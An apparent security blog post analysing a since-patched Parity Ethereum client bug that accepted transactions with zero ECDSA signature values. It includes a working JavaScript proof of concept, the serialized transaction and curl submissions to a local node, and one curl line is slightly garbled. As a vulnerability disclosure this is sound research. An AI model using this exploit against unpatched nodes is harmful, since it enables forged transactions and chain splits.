As a result, an accidental fork was created as Geth (and other clients) rejected these invalid blocks and Parity accepted them. Following discovery, a patch was issued within hours and the invalid fork rejected by the larger chain consensus.

In this post we discuss:

The implementation issue: Ethereum Improvement Proposal 86 (EIP 86)

Valid signature

An example exploit accepted by Parity version 1.10.4 or below

EIP 86

https://github.com/ethereum/EIPs/issues/86

EIP 86 is a proposal to abstract out the signature methods in Ethereum transactions. This will allow for customization of signatures in the future. In the current protocol, the public key cryptography methods (ECDSA) and default nonce scheme are hard-coded. EIP 86 aims to open up signature protocols, allowing for features such as multi-signature wallets, custom signature cryptography, and conditions such as transaction expiration times associated with a signature.

But, the decision to implement EIP 86 was deferred and never introduced in Geth. Previous versions of Parity, however, did implement handling for this case. A missing conditional check in the code caused Parity to potentially accept blocks containing missing signature information. This resulted in a fork on Ropsten test network.

The code fix to “disallow unsigned transactions when EIP-86 is disabled” can be viewed here: https://github.com/paritytech/parity/pull/8802/files

Valid signature

Ethereum uses Elliptic Curve Digital Signature Algorithm (ECDSA) to validate transactions. A typical transaction includes the following:

"transaction" : {

"nonce" : "int",

"gasPrice" : "int",

"gasLimit" : "int",

"to" : "address",

"value" : "int",

"v" : "byte",

"r" : "256 bit unsigned int",

"s" : "256 bit unsigned int",

"data" : "byte array"

}

In this scenario, we are interested in the v, r, and s values.

v is the chain id. It must follow the EIP 155 replace protection to be accepted as valid: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-155.md

is the chain id. It must follow the EIP 155 replace protection to be accepted as valid: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-155.md r and s are the normal outputs of an ECDSA signature.

These 3 outputs are reformatted using ECDSA to determine the sender address of a transaction.

Example normal JSON output for r, s v values:

{

"v": "0x1b",

"r": "0xd693b532a80fed6392b428604171fb32fdbf953728a3a7ecc7d4062b1652c042",

"s": "0x24e9c602ac800b983b035700a14b23f78a253ab762deab5dc27e3555a750b354"

}

As you will see, in the Parity exploit we submit r and s values of 0 and the signature is accepted as a valid transaction.

Example JavaScript file

Below is an example of a simple javascript example file we ran resulting in acceptance of an invalid signature. We tested this exploit using Parity 1.10.4.

const EthereumTx = require('ethereumjs-tx')

const chain = 99

const txParams = {

nonce: '0x0',

gasPrice: 0,

gasLimit: 30000,

to: '0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8',

value: '0x00',

data: '0x',

chainId: chain,

r: 0,

s: 0,

v: chain

}

const tx = new EthereumTx(txParams)

const serializedTx = tx.serialize()

console.log('0x' + serializedTx.toString('hex'))

Running the JavaScript file

npm install ethereumjs-tx

node exploit.js

Executing the js code produced the following result:

0xdf808082753094ea674fdde714fd979de3edf0f56aa9716b898ec88080638080

Sending to a vulnerable version of Parity (Parity 1.10.4)

Next, we opened a local Parity 1.10.4 mining node. The following txt was submitted to the local miner’s node using the result above.



["0xdf808082753094ea674fdde714fd979de3edf0f56aa9716b898ec88080638080"],"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST curl --data '{"method":"eth_sendRawTransaction","params":["0xdf808082753094ea674fdde714fd979de3edf0f56aa9716b898ec88080638080"],"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST http://127.0.0.1:8511

The node accepted the transaction and it was queued for the next miner.

{"jsonrpc":"2.0","result":"0xf7a2b1a30c16281337047f2018eef633a131c5ad235d3749a71bedaa57710c02","id":1}

That raw result tx is valid RLP and supposedly a signed transaction. However, it does not have have the valid r and s ECDSA signature values!

Transaction query

We can see the response by running the getTransactionByHash query on the result above:

curl --data '{"method":"eth_getTransactionByHash","params":["0xf7a2b1a30c16281337047f2018eef633a131c5ad235d3749a71bedaa57710c02"],"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST http://127.0.0.1:8511

Response:

{

"jsonrpc": "2.0",

"result": {

"blockHash": "0xd8fbb544a4b7ca073c5fb43a768d2497c583e4a557be926581aabc5c304bbd96",

"blockNumber": "0x4",

"chainId": "0x63",

"condition": null,

"creates": null,

"from": "0xffffffffffffffffffffffffffffffffffffffff",

"gas": "0x7530",

"gasPrice": "0x0",

"hash": "0xf7a2b1a30c16281337047f2018eef633a131c5ad235d3749a71bedaa57710c02",

"input": "0x",

"nonce": "0x0",

"publicKey": null,

"r": "0x0",

"raw": "0xdf808082753094ea674fdde714fd979de3edf0f56aa9716b898ec88080638080",

"s": "0x0",

"standardV": "0x0",

"to": "0xea674fdde714fd979de3edf0f56aa9716b898ec8",

"transactionIndex": "0x0",

"v": "0x63",

"value": "0x0"

},

"id": 1

}

The result shows the r,s values are 0x0 and the from address is 0xffffffffffffffffffffffffffffffffffffffff. This means there is no ECDSA signature provided!

Sending to a patched version of Parity (Parity 1.10.6)

Running the same code in a local version of Parity 1.10.6 provides an error message. The transaction is invalid and not accepted by the mining node. This is the correct client behavior that was addressed in the Parity bug fix.

Invalid Signature Response

Parity 10.6 response

{"jsonrpc":"2.0","error":{"code":-32010,"message":"Invalid signature: Crypto error (Invalid EC signature)"},"id":1}

Geth node response

{"jsonrpc":"2.0","id":1,"error":{"code":-32000,"message":"invalid sender"}}

Conclusion

Fortunately, this bug was quickly patched and did not impact the main network. It is unlikely this issue would have caused a split in the operational chain (51% of nodes would need to validate an invalid block). Parity is currently operating on approximately 1/3 of nodes according to https://www.ethernodes.org/network/1, however this information is incomplete as we don’t know what mining pools are running.

In any case, this is a critical security vulnerability that may have resulted in double transactions and/or token loss. Ongoing security testing on the network is vital to maintain integrity in the system and guarantee an accurate transaction ledger.

Video of example exploit resulting in a split chain

Please see the video for a full explanation of the exploit

Legal Disclaimer

The information described in this post is provided for research and educational purposes only. The site and authors are in no way responsible for any misuse of information.

Resources

https://twitter.com/5chdn/status/1004422643947376646?s=09

https://www.reddit.com/r/ethereum/comments/8ovvdl/please_upgrade_your_parity_clients_to_1113_or/

https://medium.com/@codetractio/inside-an-ethereum-transaction-fa94ffca912f

https://www.coindesk.com/ethereum-software-parity-update-critical-bug-detected/

https://www.ethnews.com/parity-acts-quickly-to-patch-ethereum-bug

https://github.com/paritytech/parity/pull/8802

https://wiki.parity.io/Configuring-Parity